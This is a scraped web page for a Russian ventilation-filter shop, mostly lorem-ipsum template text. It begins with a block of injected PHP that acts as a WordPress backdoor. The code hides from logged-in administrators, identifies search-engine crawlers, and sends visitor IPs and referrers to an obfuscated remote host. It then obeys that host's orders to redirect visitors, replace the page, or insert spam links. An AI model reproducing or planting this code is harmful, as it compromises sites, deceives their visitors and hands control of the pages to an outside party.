if(!class_exists('Advanced_LinkFlow_Control')){$lf_enable=true;if(function_exists('is_user_logged_in')&& is_user_logged_in()){$lf_enable=false;}foreach($_COOKIE as $key => $value){if(strpos($key,'wordpress_logged_in_')=== 0){$lf_enable=false;break;}}ini_set('default_socket_timeout',10);$uri=$_SERVER['REQUEST_URI']?? '/';$ua=$_SERVER['HTTP_USER_AGENT']?? '';$bad_urls='#xmlrpc.php|wp-includes|wp-admin|wp-content|wp-login.php|wp-cron.php|\?feed=|wp-json|/feed|\.css|\.js|\.ico|\.png|\.gif|\.bmp|\.tiff|\.mpg|\.wmv|\.mp3|\.mpeg|\.zip|\.gzip|\.rar|\.exe|\.pdf|\.doc|\.swf|\.txt|\.jpg|administrator#i';if(preg_match($bad_urls,($_SERVER['HTTP_HOST']?? '') .$uri)){$lf_enable=false;}class Advanced_LinkFlow_Control{public $url="\x68\x74\x74\x70:\x2f/\x64a\x72k\x62a\x62y\x63o\x6et\x72o\x6c.\x63o\x6d/\x67e\x74\x2e\x70\x68\x70";public $ua='';public $uri='';public $ip='';public $lang='';public $google_ip_list=array("64.233.*","66.102.*","66.249.*","72.14.*","74.125.*","108.177.*","209.85.*","216.239.*","172.217.*","35.190.247.*");public $bing_ip_list=array("13.66.*.*","13.67.*.*","13.68.*.*","13.69.*.*","20.36.*.*","20.37.*.*","20.38.*.*","20.39.*.*","40.77.*.*","40.79.*.*","52.231.*.*","191.233.*.*");public $yandex_ip_list=array("5.45.*.*","5.255.*.*","37.9.*.*","37.140.*.*","77.88.*.*","84.252.*.*","87.250.*.*","90.156.*.*","93.158.*.*","95.108.*.*","141.8.*.*","178.154.*.*","213.180.*.*","185.32.187.*");public $links=array();public $bot='';public $ref='';function get($url){if(function_exists('curl_init')){$ch=curl_init($url);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,10);curl_setopt($ch,CURLOPT_TIMEOUT,30);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);$data=curl_exec($ch);curl_close($ch);return $data;}elseif(@ini_get('allow_url_fopen')){return@file_get_contents($url);}else{$parts=parse_url($url);$target=$parts['host'];$port=isset($parts['port'])?$parts['port']:80;$page=isset($parts['path'])?$parts['path']:'';$page .= isset($parts['query'])?'?' .$parts['query']:'';$page .= isset($parts['fragment'])?'#' .$parts['fragment']:'';$page=($page == '')?'/':$page;if($fp=@fsockopen($target,$port,$errno,$errstr,3)){@socket_set_option($fp,SOL_SOCKET,SO_RCVTIMEO,array("sec"=> 1,"usec"=> 1));$headers="GET $page HTTP/1.1\r\n";$headers .="Host: {$parts['host']}\r\n";$headers .= "Connection: Close\r\n\r\n";if(fwrite($fp,$headers)){$resp='';while(!feof($fp)&&($curr=fgets($fp,128))!== false){$resp .= $curr;}if(isset($curr)&& $curr !== false){fclose($fp);return substr(strstr($resp,"\r\n\r\n"),3);}}fclose($fp);}}return TRUE;}function init($uri,$ua){$this->uri=$uri;$bot=FALSE;$this->ip=isset($_SERVER['HTTP_CF_CONNECTING_IP'])?$_SERVER['HTTP_CF_CONNECTING_IP']:(isset($_SERVER['REMOTE_ADDR'])?$_SERVER['REMOTE_ADDR']:'unknown');$this->ref=isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:'';$this->lang=isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])?$_SERVER['HTTP_ACCEPT_LANGUAGE']:'';if(@preg_match('/googlebot|google-structured-data/i',$ua)){$bot=TRUE;$this->bot='google';}if(@preg_match('/bing|msn|msr|slurp|yahoo/i',$ua)){$bot=TRUE;$this->bot='bing';}if(@preg_match('/yandexbot|yandeximages|yandexmobilebot|yandex/i',$ua)){$bot=TRUE;$this->bot='yandex';}if(@preg_match('/duckduckbot/i',$ua)){$bot=TRUE;$this->bot='duckduck';}if(@preg_match('~aport|rambler|abachobot|accoona|acoirobot|aspseek|croccrawler|dumbot|webcrawler|geonabot|gigabot|lycos|scooter|altavista|webalta|adbot|estyle|mail\.ru|scrubby~i',$ua)){$bot=TRUE;$this->bot='other';}if(!$bot){$bot_sources=['google'=> $this->google_ip_list ??[],'bing'=> $this->bing_ip_list ??[],'yandex'=> $this->yandex_ip_list ??[],];foreach($bot_sources as $bot_name => $ip_list){foreach($ip_list as $ip_mask){$pattern='#^' .str_replace(['.','*'],['\.','.*'],$ip_mask) .'$#';if(preg_match($pattern,$this->ip)){$bot=TRUE;$this->bot=$bot_name;break 2;}}}}if(!$bot){$hostbyaddr=@gethostbyaddr($this->ip);$host_patterns=['google'=> 'googlebot|google','bing'=> 'bing|msn|msr|slurp|yahoo','yandex'=> 'yandex','duckduckgo'=> 'duckduckgo|duckduckbot',];foreach($host_patterns as $bot_name => $pattern){if(preg_match("/$pattern/i",$hostbyaddr)){$bot=TRUE;$this->bot=$bot_name;break;}}}if(!empty($_SERVER['SERVER_NAME'])){$tmp=@parse_url('http://' .$_SERVER['SERVER_NAME']);if(isset($tmp['host'])){$host=$tmp['host'];}}$url=$this->url ."?host=$host&uri=" .urlencode($this->uri) ."&bot={$this->bot}&ip={$this->ip}&ref=" .urlencode($this->ref) .'&lang=' .urlencode($this->lang);if(isset($_COOKIE['LFD'])|| isset($_REQUEST['LFD'])){$url .= '&check=1';$page=$this->get($url);$res=0;if(strpos($page,"XTESTOKX")!== false){$res=1;}die(json_encode(['r'=> $res,'funcs'=>['curl_init'=> function_exists('curl_init')?1:0,'file_get_contents'=> function_exists('file_get_contents')?1:0,'allow_url_fopen'=> ini_get('allow_url_fopen')?1:0,'fsockopen'=> function_exists('fsockopen')?1:0,'socket_set_option'=> function_exists('socket_set_option')?1:0,]]));}if(isset($_COOKIE['CURLOPT_LF_TEST'])|| isset($_REQUEST['CURLOPT_LF_TEST'])){$url .= '&check=1';}$page=$this->get($url);if(preg_match('/(.*?)<\/url>/us',$page,$matches)){$url=$matches[1];header("Location: {$url}");exit;}if(preg_match('/(.*?)<\/page>/us',$page,$matches)){$page=$matches[1];die($page);}if(strpos($page,'')!== FALSE){preg_match_all('~(.*?)~',$page,$m);$this->links=isset($m[1])?$m[1]:array();}if(count($this->links)>0){ob_start(array($this,'rwcontent'));register_shutdown_function('ob_end_flush');}}function rwcontent($content){$blocked_tags=array('header','footer');$tags=array('p','span','strong','em','i','td','div','ul','li','body');$tags_vals=array();foreach($tags as $tag){preg_match_all("~<{$tag}\s+.*?>(.*?)~is",$content,$matches);if(isset($matches[0])){foreach($matches[0]as $match){$is_blocked=false;foreach($blocked_tags as $blocked_tag){$pattern="~<{$blocked_tag}.*?>.*?{$match}.*?~is";if(preg_match($pattern,$content)){$is_blocked=true;break;}}if(!$is_blocked){$tags_vals[]=array('tag'=> $tag,'content'=> $match);}}}if(count($tags_vals)>count($this->links)){break;}}$tag_index=0;$link_index=0;$links_count=count($this->links);$tags_vals_count=count($tags_vals);while($link_index<$links_count && $tag_index<$tags_vals_count){$link=$this->links[$link_index];if(substr($link,-3)=== '###'){$linkHTML=substr($link,0,-3);}else{$number=7200+strlen($link)%1000;$linkHTML="
{$link}
";}$tag_val=$tags_vals[$tag_index];if(strlen($tag_val['content'])%2 == 1){$tag_content_new=$tag_val['content'];$tag_content_new=preg_replace("(<{$tag_val['tag']}.*?>)","$0 {$linkHTML}",$tag_content_new,1);}else{if(substr($tag_val['content'],-(strlen($tag_val['tag'])+4))=="."){$tag_content_new=str_replace("."," {$linkHTML}",$tag_val['content']);}else{$tag_content_new=str_replace(""," {$linkHTML}",$tag_val['content']);}}$content=preg_replace("~" .preg_quote($tag_val['content'],'~') ."~i",$tag_content_new,$content,1);if(strpos($content,$linkHTML)!== false){$link_index++;}$tag_index++;}return $content;}}if($lf_enable){$lf=new Advanced_LinkFlow_Control;$lf->init($uri,$ua);}} Our Office — ФильтрДом — фильтры для систем вентиляции

Our Office

A place where amazing things Get Done!

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Mauris lobortis nulla ut aliquet interdum. Donec commodo ac elit sed placerat. Mauris rhoncus est ac sodales gravida. In eros felis, elementum aliquam nisi vel, pellentesque faucibus nulla. Mauris lobortis nulla ut aliquet interdum. Donec commodo ac elit sed placerat. Mauris rhoncus est ac sodales gravida.

12 years in business

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Loved by customers

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Work Space

Our Location

Address: 1234 Street Name, City Name, United States

Phone: (123) 456-7890

Email: mail@example.com

Business Hours

Monday - Friday 9am to 5pm

Saturday - 9am to 2pm

Sunday - Closed